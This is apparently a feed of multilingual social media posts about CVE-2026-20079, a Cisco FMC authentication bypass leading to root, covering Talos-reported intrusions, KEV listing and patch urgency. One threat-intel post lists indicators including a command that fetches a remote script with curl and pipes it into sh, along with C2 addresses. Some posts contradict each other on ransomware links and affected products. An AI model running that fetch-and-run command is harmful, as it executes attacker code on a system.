CVE-2026-20079Active Exploitation(cisco / secure_firewall_management_center)

CVE-2026-20079 CISCO가 마침내 그 어렵다는 CVSS 10.0 만점을 달성했습니다. 축하합니다! Cisco Secure Firewall Management Center(FMC) 웹 인터페이스의 인증 우회 취약점인데, 조작된 HTTP 요청을 보내면 Authentication Bypass가 가능하고, 이후 스크립트/명령 실행을 통해 기반 OS의 root 권한까지 획득할 수 있습니다. 쉽게 설명하면, 웹 인터페이스에 로그인하지 않은 상태에서도 조작된 HTTP 요청만으로 인증을 우회하고, 최종적으로 시스템 root 권한까지 이어질 수 있었다는 뜻입니다. (공격 복잡도 엄청 낮음) 2월 말부터 CISCO 쪽에서 취약점이 쏟아지는 것 같은데, 그냥 근본적으로 설계가 잘못된 것이 아닌지?

🚨 CISCO FIREWALL VULNERABILITIES ACTIVELY EXPLOITED — ROOT ACCESS, CYCLOPS BLINK AND QILIN RANSOMWARE OBSERVED Cisco Talos has confirmed active exploitation of two vulnerabilities affecting Cisco Secure Firewall Management Center (FMC). The most serious: CVE-2026-20079 CVSS: 10.0 — CRITICAL The vulnerability allows an unauthenticated remote attacker to bypass authentication and execute scripts and commands that can provide ROOT access to the underlying operating system. Cisco says the vulnerability is being actively exploited in the wild. A second vulnerability, CVE-2026-20316 (CVSS 5.3), exposes static credentials for a low-privileged account and has also been actively exploited. But the post-exploitation activity is where this becomes particularly interesting. Cisco Talos identified THREE distinct intrusion clusters. 🔴 Cluster #1 — UAT-12197 Attackers exploited CVE-2026-20079 and deployed: * Web shells * JAR-based command execution * Credential harvesting * Data exfiltration 🔴 Cluster #2 — UAT-11823 Attackers exploited the FMC vulnerabilities and ultimately deployed CYCLOPS BLINK. Observed capabilities included: * Reverse shells * Credential harvesting * Configuration theft * Network reconnaissance * Packet sniffing * File upload/download * Arbitrary command execution Cyclops Blink has previously been attributed to Russia's Sandworm APT by U.S. and UK authorities. Cisco says UAT-11823 overlaps in tooling with Sandworm, but does NOT directly attribute this cluster to Sandworm. 🔴 Cluster #3 — UAT-11988 / RANSOMWARE Cisco assesses with HIGH CONFIDENCE that this actor is a ransomware operator. After gaining access to FMC, the attacker: * Conducted extensive internal reconnaissance * Harvested Active Directory and MySQL credentials * Enumerated domain infrastructure * Established SOCKS5 and reverse-SSH tunnels * Used Impacket and Invoke-TheHash * Deployed custom AV killers * Identified endpoints for encryption The intrusion ultimately resulted in QILIN RANSOMWARE being deployed on selected endpoints. Talos says the actor's TTPs were consistent with Qilin ransomware affiliates. ⚠️ Analyst Note: Compromising security infrastructure creates a particularly dangerous situation. The device intended to protect and manage the network becomes the attacker's foothold: Internet-facing FMC → Root access → Credential harvesting → Internal reconnaissance → Network tunneling → Lateral movement → Ransomware deployment Cisco has released hotfixes and strongly recommends applying them immediately. There are NO workarounds for CVE-2026-20079. Organizations running Cisco Secure FMC should treat this as an active-compromise scenario, not simply a patch-management exercise. Patch immediately — and investigate whether exploitation occurred before remediation. Official Cisco Talos research: https://blog.talosintelligence.com/fmc-ongoing-exploitation/ Official Cisco Security Advisory: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2 #DDW #Cisco #Qilin #Ransomware #CyberSecurity

🚨 Critical auth bypass → RCE in Cisco FMC (CVE-2026-20079, CVSS 10.0). We’ve released a Rapid Response test. https://t.co/CJz3WoJNzn

Cisco confirms CVE-2026-20079 Secure FMC flaw exploited in attacks https://www.bleepingcomputer.com/news/security/cisco-confirms-cve-2026-20079-secure-fmc-flaw-exploited-in-attacks/ https://www.bleepingcomputer.com/news/security/cisco-confirms-cve-2026-20079-secure-fmc-flaw-exploited-in-attacks/

Exploiting an RCE vulnerability in Cisco Secure Firewall Management Center (CVE-2026-20079) https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079 #infosec

A hefty root cause analysis of #Cisco Secure Firewall Management Center (FMC) RCE CVE-2026-20079 out now from our exploit dev team. The bug's a CVSS 10, but there are significant prerequisites for exploitation that limit real-world exploitability https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079

🚨 Three threat clusters exploited Cisco FMC flaws to steal credentials, deploy Cyclops Blink, and push Qilin ransomware. Both flaws are now in CISA’s KEV catalog. Federal agencies must patch CVE-2026-20079 by September 12. Inside the attack chains: https://thehackernews.com/2026/09/cisco-fmc-flaws-exploited-to-steal.html

A PoC/exploit has been discovered for vulnerability CVE-2026-20079 Vendor: Cisco Product: Cisco Secure Firewall Management Center (FMC) Description: A vulnerability in the web interface of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to bypass authentication and execute script files on an affected device to obtain root access to the underlying operating system.  This vulnerability is due to an improper system process that is created at boot time. An attacker could exploit this vulnerability by sending crafted HTTP requests to an affected device. A successful exploit could allow the attacker to execute a variety of scripts and commands that allow root access to the device.  Link: https://github.com/cyberauth/cve-2026-20079 #dbugs_vuln

【注意喚起】Cisco FMC 認証バイパス（CVSS 10.0） Cisco Secure Firewall Management Center に認証バイパス → root権限取得可能な重大脆弱性が公開。 CVE-2026-20079 CVSS: 10.0 (Critical) 攻撃者は未認証で細工したHTTPリクエストを送信することでスクリプト実行 → OSのroot権限取得が可能。 ■影響 Cisco Secure Firewall Management Center (FMC) ■影響なし ・ASA ・FTD ・Cloud-delivered FMC ■重要ポイント ・認証不要 ・リモート攻撃可能 ・回避策なし ・アップデートのみが対策 管理者の方は 至急パッチ適用の確認を推奨 Cisco Advisory https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2

CISA تضيف إلى قائمة الثغرات المستغَلة أربع ثغرات مؤكدة الاستغلال، أبرزها تجاوز مصادقة في Cisco Firewall Management Center يمنح وصولاً جذريًا (CVE-2026-20079)، مع ثغرات في Fortinet وCitrix وChromium. حدّث الأنظمة المعرّضة فورًا واتبع إرشاد البائع. #أمن_سيبراني #CISA CISA https://t.co/5Rvc6QN40w

🚨 CISCO FIREWALL MANAGEMENT SERVERS ACTIVELY EXPLOITED — APT + QILIN RANSOMWARE ACTIVITY OBSERVED Cisco Talos is warning of active exploitation targeting Cisco Secure Firewall Management Center (FMC) systems. Two vulnerabilities are being abused in the wild: * CVE-2026-20079 — CVSS 10.0 Critical authentication bypass allowing an unauthenticated remote attacker to execute scripts and obtain ROOT access. * CVE-2026-20316 — CVSS 5.3 Allows remote login using a low-privileged account and can be chained with other FMC vulnerabilities to elevate privileges. Talos has identified THREE separate post-compromise activity clusters. 🚨 CLUSTER #1 — UAT-12197 Attackers exploited CVE-2026-20079 and deployed: * JSP web shell * Malicious JAR command executor * Credential harvesting * Queries against FMC internal databases to extract authentication data 🚨 CLUSTER #2 — APT / CYCLOPS BLINK Talos attributes the second cluster to UAT-11823, an APT actor whose tooling overlaps with Sandworm. The attackers exploited the FMC vulnerabilities and deployed: * Netcat reverse shells * Malicious package files * Configuration harvesting * Credential theft * Cyclops Blink malware Cyclops Blink is malware previously attributed to Russia's Sandworm by U.S. and UK authorities. The implant supports persistence, DNS-over-HTTPS resolution, file transfer, credential harvesting, arbitrary command execution, network reconnaissance and packet sniffing. 🚨 CLUSTER #3 — QILIN RANSOMWARE Talos assesses with HIGH CONFIDENCE that UAT-11988 is a ransomware operator. The actor gained access to an FMC device using static credentials associated with CVE-2026-20316 and then used legitimate FMC tooling to move deeper into the environment. Activity included: * Extensive internal reconnaissance * Active Directory credential harvesting * Domain enumeration * MySQL credential theft * SOCKS5 proxy deployment * Reverse SSH tunneling * Impacket * Invoke-TheHash * Custom AV killers * Identification of endpoints for encryption The intrusion ultimately resulted in deployment of Qilin ransomware on selected endpoints. Talos says the actor's TTPs were consistent with Qilin ransomware affiliates. ⚠️ Analyst Note: This is exactly why compromise of security infrastructure can be disproportionately dangerous. FMC isn't simply another server. It manages the security controls protecting the network. Once an attacker obtains privileged access to the management plane, the security appliance itself can become: Initial access → Credential harvesting platform → Network reconnaissance point → Internal pivot → Tunneling infrastructure → Ransomware staging point Cisco has already released hotfixes and strongly recommends applying them immediately. A broader Secure Firewall hardening release covering FMC, ASA and FTD is scheduled for September 16. Organizations running Cisco Secure FMC should treat this as an ACTIVE EXPLOITATION event — not simply another vulnerability disclosure. Official source — Cisco Talos: https://blog.talosintelligence.com/fmc-ongoing-exploitation/ Cisco Security Advisory: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2 #DDW #Cisco #Qilin #Ransomware #CyberSecurity

Cisco confirms CVE-2026-20079 Secure FMC flaw exploited in attacks https://www.bleepingcomputer.com/news/security/cisco-confirms-cve-2026-20079-secure-fmc-flaw-exploited-in-attacks/

🚨 THREAT INTEL ALERT: Active Exploitation in the Wild — Unauthenticated RCE & Edge Appliance Infiltration (CVE-2026-86218 / CVE-2026-20079) Adversaries and ransomware affiliates (Qilin, RansomHub) are aggressively weaponizing newly dropped zero-days and critical edge/MSP vulnerabilities to bypass authentication, drop fileless web shells, and hijack downstream enterprise networks without user interaction. 💥 The Attack VectorVulnerabilities: Unauthenticated RCE in N-able N-central (CVE-2026-86218, CVSS 10.0) and auth bypass in Cisco FMC (CVE-2026-20079) & Citrix NetScaler. Mechanism: Inbound HTTP/S requests inject malicious directives into static runtime configurations, instantly executing root commands and deploying web shells to orchestrate supply-chain lateral movement. 🔍 Signs of Compromise (Triage Checklist) Abnormal child processes spawned by web server daemons (e.g., nginx, httpd, or tomcat launching /bin/sh, curl, or powershell.exe). Unauthorized administrative session tokens issued without corresponding MFA challenges in audit logs. High-volume outbound encrypted egress from edge servers toward unrecognized cloud endpoints via tools like s5cmd or rclone. Modification of static server scripts, index.*, or .jsp configuration files with recent timestamps. 🛡️ Immediate Mitigation Perimeter Lockdown: Immediately remove FMC, NetScaler, and RMM management portals from the public internet; isolate behind an internal management VPN or zero-trust network access (ZTNA). Apply Out-of-Band Patches: Deploy vendor security patches immediately (e.g., N-able hotfix / Cisco Advisory). Session Revocation: Invalidate all active API tokens, web sessions, and service credentials associated with edge management consoles. 🎯 Indicators of Compromise (IoCs) Suspicious URI Requests: POST /central/remote/v1/internal/config_override Malicious Process Calls: /bin/bash -c "curl -fsSL hxxp://185.220.101[.]42/ldr.sh | sh" Dropped Web Shell Hashes (SHA-256): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 a19d84f09d3b1456c71048b299e52c85b190f84232bf090c29f8f426027a08b3 Network C2 IPs: 185.220.101[.]42, 194.38.20[.]118, 45.154.255[.]89 CC: @GossiTheDog, @juanandres_gs, @malwaretechblog, @cyb3rops, @scroogemcf, @campuscodi, @reach2ratan, @physicaldrive0, @unit42_intel, @threatinsight, @VK_Intel, @ItsReallyNick, @silascutler #CyberSecurity #InfoSec #ThreatIntel #ZeroDay #Ransomware #BlueTeam #CISA #CVE2026

米国サイバーセキュリティ・社会基盤安全保障庁(CISA)が既知の悪用された脆弱性カタログに4件の脆弱性を追加。 - CVE-2025-25249 (Fortinet複数製品) - CVE-2026-19490 (Citrix Netscaler) - CVE-2026-87491 (Chromium) - CVE-2026-20079 (Cisco FMC) https://www.cisa.gov/news-events/alerts/2026/09/09/cisa-adds-four-known-exploited-vulnerabilities-catalog

Cisco confirms CVE-2026-20079 Secure FMC flaw exploited in attacks https://dlvr.it/TVPhGB #Security https://t.co/aTwY0BXQzm

Cisco FMC bugs exploited by nation-state and ransomware actors (CVE-2026-20079, CVE-2026-20316) - Help Net Security https://www.helpnetsecurity.com/2026/09/10/cisco-fmc-exploited-cve-2026-20079-cve-2026-20316/

New from VulnCheck: Analysis of CVE-2026-20079 (CVSS 10.0) in Cisco FMC. With 300 to 700 systems exposed, unauthenticated RCE is possible, but only under specific conditions. Full breakdown of exploitability and prerequisites: https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079

Cisco confirms CVE-2026-20079 Secure FMC flaw exploited in attacks https://www.bleepingcomputer.com/news/security/cisco-confirms-cve-2026-20079-secure-fmc-flaw-exploited-in-attacks/?utm_source=dlvr.it&utm_medium=twitter #Security

Cisco’s Secure Firewall Management Center has a 10.0. CVE-2026-20079. Auth bypass. No creds needed. You get root. CISA put it in KEV, feds had until Sept 12 to patch. That deadline is gone. If you run FMC, check your version now. Not Monday. Now.

⚠️ New Actively-Exploited Vulnerability • CVE-2026-20079 affecting Cisco Secure Firewall Management Center (FMC) and Security Cloud Control (SCC). • Unauthenticated remote attackers can bypass authentication, execute scripts, and obtain root access. • Currently not linked to known ransomware campaigns. Apply mitigations as per Cisco's guidance by 2026-09-12. Full report: 🔗 https://darkfeed.io #CyberSecurity #CISAKnownVulnerability #Cisco